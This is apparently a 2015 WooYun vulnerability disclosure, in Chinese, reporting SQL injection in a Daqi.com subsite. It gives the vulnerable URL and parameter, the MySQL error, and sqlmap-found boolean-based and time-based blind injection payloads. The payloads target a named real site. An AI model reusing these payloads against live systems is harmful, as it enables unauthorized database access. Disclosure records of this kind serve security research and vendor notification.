漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-096146
漏洞标题：大旗网某站SQL注入
相关厂商：大旗网
漏洞作者： MingKer
提交时间：2015-02-10 16:07
修复时间：2015-03-27 16:08
公开时间：2015-03-27 16:08
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-02-10： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-03-27： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
SQL注入漏洞
大旗网www.daqi.com （原ChinaBBS.com）于2004年11月成立，2006年3月正式更名为“大旗网”。大旗网先后得到了IDG技术创业投资基金(简称IDGVC Partners)和美国中经合集团(WI Harper Group)的投资。目前已经成为都市新锐人群首选的话题门户，也是中国最领先的社区营销咨询和服务机构。
安全你们重视吗/？
详细说明：
try.daqi.com/cgi-bin/experience/report_show?id_article=16
xmysql::query() error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 - select count(*) from share_article where id=16'
SQLMAP跑下
漏洞证明：
Place: GET
Parameter: id_article
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id_article=16 AND 3664=3664
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: id_article=16 AND 6414=BENCHMARK(5000000,MD5(0x74484a6e))
修复方案：
版权声明：转载请注明来源 MingKer@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝